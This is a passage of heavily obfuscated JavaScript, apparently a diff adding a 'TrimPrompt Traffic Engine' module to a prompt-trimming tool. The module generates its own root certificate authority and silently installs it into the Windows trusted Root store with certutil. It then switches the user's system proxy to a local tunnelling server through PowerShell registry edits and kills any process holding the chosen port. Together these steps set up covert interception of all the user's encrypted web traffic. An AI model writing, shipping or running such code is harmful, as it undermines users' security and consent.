_0x3b34b7=_0xdd338a;if(_0x3abc86[_0x3b34b7(0xe0)]===_0x3b34b7(0x11b)){console[_0x3b34b7(0x108)](_0x3b34b7(0x118)+_0x3c1f7c+_0x3b34b7(0xef));try{if(process['platform']==='win32'){const _0x4cde93=(0x0,child_process_1[_0x3b34b7(0xdb)])(_0x3b34b7(0xeb)+_0x3c1f7c+_0x3b34b7(0xfb),{'encoding':_0x3b34b7(0xca),'timeout':0xbb8}),_0xd2d7f2=_0x4cde93['trim']()[_0x3b34b7(0xe5)](/\s+/),_0x339f19=_0xd2d7f2[_0xd2d7f2[_0x3b34b7(0xd0)]-0x1];if(_0x339f19&&_0x339f19!==String(process['pid'])){(0x0,child_process_1[_0x3b34b7(0xdb)])(_0x3b34b7(0x115)+_0x339f19+_0x3b34b7(0xf7),{'stdio':'ignore','timeout':0xbb8}),console[_0x3b34b7(0x108)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x339f19+_0x3b34b7(0xe2)),setTimeout(()=>_0x4be568[_0x3b34b7(0x102)](_0x3c1f7c,'127.0.0.1'),0x1f4);return;}}}catch{}console[_0x3b34b7(0xf8)](_0x3b34b7(0x118)+_0x3c1f7c+_0x3b34b7(0xf2));}else console[_0x3b34b7(0xf8)]('[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20'+_0x3abc86[_0x3b34b7(0xe6)]);}),_0x4be568['on'](_0xdd338a(0x109),(_0x3d1458,_0x2e301a)=>{const _0x22e0e4=_0xdd338a;_0x2e301a[_0x22e0e4(0xe4)](0xc8,{'Content-Type':_0x22e0e4(0xc8)}),_0x2e301a['end'](JSON[_0x22e0e4(0xed)]({'status':_0x22e0e4(0xf0),'url':_0x3d1458[_0x22e0e4(0xf4)]}));}),_0x4be568['on'](_0xdd338a(0xfe),(_0x4d10ed,_0x4b3a45,_0x1a2397)=>{const _0x392401=_0xdd338a,[_0x17f56d,_0x23a0e1]=(_0x4d10ed[_0x392401(0xf4)]||'')[_0x392401(0xe5)](':'),_0x32961e=parseInt(_0x23a0e1,0xa)||0x1bb,_0x3b646b=net['connect'](_0x32961e,_0x17f56d,()=>{const _0x495047=_0x392401;_0x4b3a45[_0x495047(0xc7)](_0x495047(0x105)),_0x3b646b[_0x495047(0xc7)](_0x1a2397),_0x3b646b[_0x495047(0xcd)](_0x4b3a45),_0x4b3a45[_0x495047(0xcd)](_0x3b646b);});_0x3b646b['on'](_0x392401(0xf8),()=>{try{_0x4b3a45['end']();}catch{}}),_0x4b3a45['on'](_0x392401(0xf8),()=>{try{_0x3b646b['end']();}catch{}});}),_0x4be568[_0xdd338a(0x102)](_0x3c1f7c,'127.0.0.1',()=>{const _0xae2d27=_0xdd338a;console[_0xae2d27(0x108)]('[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:'+_0x3c1f7c);});}
1
+ 'use strict';function a0_0x3ca3(_0x46c98e,_0x46892b){_0x46c98e=_0x46c98e-0x17f;const _0x425f69=a0_0x425f();let _0x3ca348=_0x425f69[_0x46c98e];return _0x3ca348;}const a0_0x50d6e4=a0_0x3ca3;(function(_0x251bb1,_0x31249f){const _0x4c6d7b=a0_0x3ca3,_0x3985f7=_0x251bb1();while(!![]){try{const _0x4d60df=parseInt(_0x4c6d7b(0x1b9))/0x1*(parseInt(_0x4c6d7b(0x1ae))/0x2)+-parseInt(_0x4c6d7b(0x198))/0x3+-parseInt(_0x4c6d7b(0x1c0))/0x4+-parseInt(_0x4c6d7b(0x1b6))/0x5+-parseInt(_0x4c6d7b(0x193))/0x6*(-parseInt(_0x4c6d7b(0x185))/0x7)+-parseInt(_0x4c6d7b(0x1ad))/0x8*(parseInt(_0x4c6d7b(0x18f))/0x9)+parseInt(_0x4c6d7b(0x1ba))/0xa;if(_0x4d60df===_0x31249f)break;else _0x3985f7['push'](_0x3985f7['shift']());}catch(_0x4e8493){_0x3985f7['push'](_0x3985f7['shift']());}}}(a0_0x425f,0xd46ac));var __createBinding=this&&this[a0_0x50d6e4(0x1ca)]||(Object[a0_0x50d6e4(0x194)]?function(_0x5d72db,_0xc2d290,_0x4e6d58,_0x42459a){const _0x42b95b=a0_0x50d6e4;if(_0x42459a===undefined)_0x42459a=_0x4e6d58;var _0x4eb400=Object[_0x42b95b(0x1c2)](_0xc2d290,_0x4e6d58);(!_0x4eb400||(_0x42b95b(0x1aa)in _0x4eb400?!_0xc2d290[_0x42b95b(0x1be)]:_0x4eb400['writable']||_0x4eb400['configurable']))&&(_0x4eb400={'enumerable':!![],'get':function(){return _0xc2d290[_0x4e6d58];}}),Object[_0x42b95b(0x19c)](_0x5d72db,_0x42459a,_0x4eb400);}:function(_0x1a6251,_0xdf1993,_0x1091d6,_0xc1704f){if(_0xc1704f===undefined)_0xc1704f=_0x1091d6;_0x1a6251[_0xc1704f]=_0xdf1993[_0x1091d6];}),__setModuleDefault=this&&this[a0_0x50d6e4(0x1d1)]||(Object['create']?function(_0x45880c,_0xc65b72){const _0x28da00=a0_0x50d6e4;Object[_0x28da00(0x19c)](_0x45880c,'default',{'enumerable':!![],'value':_0xc65b72});}:function(_0x57b2c1,_0x5068c6){const _0x17f565=a0_0x50d6e4;_0x57b2c1[_0x17f565(0x195)]=_0x5068c6;}),__importStar=this&&this['__importStar']||(function(){var _0x59fdf9=function(_0x205dd9){const _0x5dffbe=a0_0x3ca3;return _0x59fdf9=Object[_0x5dffbe(0x180)]||function(_0x4036ce){const _0x48a712=_0x5dffbe;var _0x5a0759=[];for(var _0x14eaaf in _0x4036ce)if(Object['prototype'][_0x48a712(0x19f)][_0x48a712(0x1bd)](_0x4036ce,_0x14eaaf))_0x5a0759[_0x5a0759['length']]=_0x14eaaf;return _0x5a0759;},_0x59fdf9(_0x205dd9);};return function(_0x214b0f){const _0x51c04e=a0_0x3ca3;if(_0x214b0f&&_0x214b0f['__esModule'])return _0x214b0f;var _0x51c082={};if(_0x214b0f!=null){for(var _0x1aff08=_0x59fdf9(_0x214b0f),_0x252ad1=0x0;_0x252ad1<_0x1aff08['length'];_0x252ad1++)if(_0x1aff08[_0x252ad1]!==_0x51c04e(0x195))__createBinding(_0x51c082,_0x214b0f,_0x1aff08[_0x252ad1]);}return __setModuleDefault(_0x51c082,_0x214b0f),_0x51c082;};}());Object[a0_0x50d6e4(0x19c)](exports,a0_0x50d6e4(0x1be),{'value':!![]}),exports[a0_0x50d6e4(0x1cc)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports[a0_0x50d6e4(0x19a)]=enableSystemProxy,exports[a0_0x50d6e4(0x19d)]=disableSystemProxy,exports[a0_0x50d6e4(0x199)]=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x50d6e4(0x1c3))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0x50d6e4(0x18e))),crypto=__importStar(require(a0_0x50d6e4(0x184))),child_process_1=require(a0_0x50d6e4(0x18b)),baseDir=path[a0_0x50d6e4(0x1c5)](os[a0_0x50d6e4(0x1cd)](),a0_0x50d6e4(0x1a7)),caCertPath=path[a0_0x50d6e4(0x1c5)](baseDir,a0_0x50d6e4(0x1c6)),caKeyPath=path[a0_0x50d6e4(0x1c5)](baseDir,'ca.key');function ensureBaseDir(){const _0x5c2bdd=a0_0x50d6e4;if(!fs['existsSync'](baseDir))fs[_0x5c2bdd(0x1d2)](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x83387d=a0_0x50d6e4;ensureBaseDir();if(fs[_0x83387d(0x1bc)](caCertPath)&&fs[_0x83387d(0x1bc)](caKeyPath))return{'cert':fs[_0x83387d(0x189)](caCertPath,_0x83387d(0x1c7)),'key':fs[_0x83387d(0x189)](caKeyPath,_0x83387d(0x1c7))};const {privateKey:_0x675b4c,publicKey:_0x1eba9b}=crypto[_0x83387d(0x1a4)](_0x83387d(0x1b2),{'modulusLength':0x800,'publicKeyEncoding':{'type':'spki','format':'pem'},'privateKeyEncoding':{'type':_0x83387d(0x1ab),'format':_0x83387d(0x1a1)}}),_0x10f374=crypto[_0x83387d(0x1b5)]?crypto[_0x83387d(0x1b5)]():null;let _0x17c527='';return _0x10f374?(_0x10f374[_0x83387d(0x1c1)](_0x83387d(0x181)),_0x10f374['setIssuer']('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x10f374[_0x83387d(0x1d0)](crypto[_0x83387d(0x1c4)](_0x1eba9b)),_0x10f374['sign'](crypto[_0x83387d(0x1a8)](_0x675b4c),_0x83387d(0x18d)),_0x17c527=_0x10f374[_0x83387d(0x1a6)]('pem')[_0x83387d(0x1cb)]()):_0x17c527=_0x1eba9b,fs[_0x83387d(0x191)](caKeyPath,_0x675b4c,_0x83387d(0x1c7)),fs[_0x83387d(0x191)](caCertPath,_0x17c527,_0x83387d(0x1c7)),{'cert':_0x17c527,'key':_0x675b4c};}function installSystemCaCert(){const _0x100224=a0_0x50d6e4;if(process['platform']!==_0x100224(0x1d4))return![];try{return generateCaCertificate(),(0x0,child_process_1['execSync'])(_0x100224(0x190)+caCertPath+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function a0_0x425f(){const _0x4357b7=['child_process','end','sha256','http','108621XLiczh','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','writeFileSync','connect','5826ezNUiA','create','default','split','trim','1523556okwHxr','startTrafficInterceptor','enableSystemProxy','stringify','defineProperty','disableSystemProxy','listen','hasOwnProperty','.\x20Retrying\x20listen...','pem','Set-ItemProperty\x20-Path\x20\x27','taskkill\x20/PID\x20','generateKeyPairSync','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','export','.trimprompt','createPrivateKey','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','get','pkcs8','length','24MlAKvE','4EXkdbx','message','127.0.0.1','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','rsa','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','pid','createCertificate','6402430ptLVXY','error','code','651352aOlWSW','11982340NJiptq','pipe','existsSync','call','__esModule','replace','2383024TZWGyl','setSubject','getOwnPropertyDescriptor','path','createPublicKey','join','ca.crt','utf8','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','\x20/F','__createBinding','toString','generateCaCertificate','homedir','execSync','\x20|\x20findstr\x20LISTENING','setPublicKey','__setModuleDefault','mkdirSync','powershell.exe\x20-NoProfile\x20-Command\x20\x22','win32','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','createServer','getOwnPropertyNames','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','url','crypto','5691IHimZW','log','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','platform','readFileSync','ignore'];a0_0x425f=function(){return _0x4357b7;};return a0_0x425f();}function enableSystemProxy(_0x51bfd3=0x1f90){const _0x49ac92=a0_0x50d6e4;if(process['platform']!==_0x49ac92(0x1d4))return![];try{const _0x5a45f8='HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings',_0x25e80a='127.0.0.1:'+_0x51bfd3,_0x1afc37=_0x49ac92(0x1a2)+_0x5a45f8+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x5a45f8+_0x49ac92(0x187)+_0x25e80a+'\x27';return(0x0,child_process_1[_0x49ac92(0x1ce)])(_0x49ac92(0x1d3)+_0x1afc37[_0x49ac92(0x1bf)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x49ac92(0x18a),'timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x13a89e=a0_0x50d6e4;if(process['platform']!==_0x13a89e(0x1d4))return![];try{const _0x5eb58f=_0x13a89e(0x1b1),_0x334e08=_0x13a89e(0x1a2)+_0x5eb58f+_0x13a89e(0x1d5);return(0x0,child_process_1[_0x13a89e(0x1ce)])('powershell.exe\x20-NoProfile\x20-Command\x20\x22'+_0x334e08[_0x13a89e(0x1bf)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x5d4982=0x1f90){const _0x22897c=a0_0x50d6e4,_0x24d73b=http[_0x22897c(0x17f)]();_0x24d73b['on'](_0x22897c(0x1b7),_0x5949a9=>{const _0x15c7bc=_0x22897c;if(_0x5949a9[_0x15c7bc(0x1b8)]==='EADDRINUSE'){console['log'](_0x15c7bc(0x1a5)+_0x5d4982+'\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...');try{if(process[_0x15c7bc(0x188)]==='win32'){const _0x48efda=(0x0,child_process_1[_0x15c7bc(0x1ce)])('netstat\x20-ano\x20|\x20findstr\x20:'+_0x5d4982+_0x15c7bc(0x1cf),{'encoding':_0x15c7bc(0x1c7),'timeout':0xbb8}),_0x2c771d=_0x48efda[_0x15c7bc(0x197)]()[_0x15c7bc(0x196)](/\s+/),_0x6424bd=_0x2c771d[_0x2c771d[_0x15c7bc(0x1ac)]-0x1];if(_0x6424bd&&_0x6424bd!==String(process[_0x15c7bc(0x1b4)])){(0x0,child_process_1[_0x15c7bc(0x1ce)])(_0x15c7bc(0x1a3)+_0x6424bd+_0x15c7bc(0x1c9),{'stdio':_0x15c7bc(0x18a),'timeout':0xbb8}),console[_0x15c7bc(0x186)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x6424bd+_0x15c7bc(0x1a0)),setTimeout(()=>_0x24d73b[_0x15c7bc(0x19e)](_0x5d4982,_0x15c7bc(0x1b0)),0x1f4);return;}}}catch{}console[_0x15c7bc(0x1b7)](_0x15c7bc(0x1a5)+_0x5d4982+_0x15c7bc(0x182));}else console[_0x15c7bc(0x1b7)](_0x15c7bc(0x1c8)+_0x5949a9[_0x15c7bc(0x1af)]);}),_0x24d73b['on']('request',(_0x3e8a34,_0x10f89c)=>{const _0x3be463=_0x22897c;_0x10f89c['writeHead'](0xc8,{'Content-Type':'application/json'}),_0x10f89c['end'](JSON[_0x3be463(0x19b)]({'status':'TrimPrompt\x20Traffic\x20Interceptor\x20Active','url':_0x3e8a34[_0x3be463(0x183)]}));}),_0x24d73b['on'](_0x22897c(0x192),(_0x3d59f8,_0x571f04,_0x536456)=>{const _0x3b0e0e=_0x22897c,[_0x40506f,_0x18c2d2]=(_0x3d59f8[_0x3b0e0e(0x183)]||'')['split'](':'),_0x12967a=parseInt(_0x18c2d2,0xa)||0x1bb,_0x2c4b6a=net[_0x3b0e0e(0x192)](_0x12967a,_0x40506f,()=>{const _0x4aa85a=_0x3b0e0e;_0x571f04['write'](_0x4aa85a(0x1a9)),_0x2c4b6a['write'](_0x536456),_0x2c4b6a[_0x4aa85a(0x1bb)](_0x571f04),_0x571f04['pipe'](_0x2c4b6a);});_0x2c4b6a['on'](_0x3b0e0e(0x1b7),()=>{const _0x12aa9b=_0x3b0e0e;try{_0x571f04[_0x12aa9b(0x18c)]();}catch{}}),_0x571f04['on'](_0x3b0e0e(0x1b7),()=>{const _0x17b07c=_0x3b0e0e;try{_0x2c4b6a[_0x17b07c(0x18c)]();}catch{}});}),_0x24d73b[_0x22897c(0x19e)](_0x5d4982,_0x22897c(0x1b0),()=>{const _0x18f789=_0x22897c;console[_0x18f789(0x186)](_0x18f789(0x1b3)+_0x5d4982);});}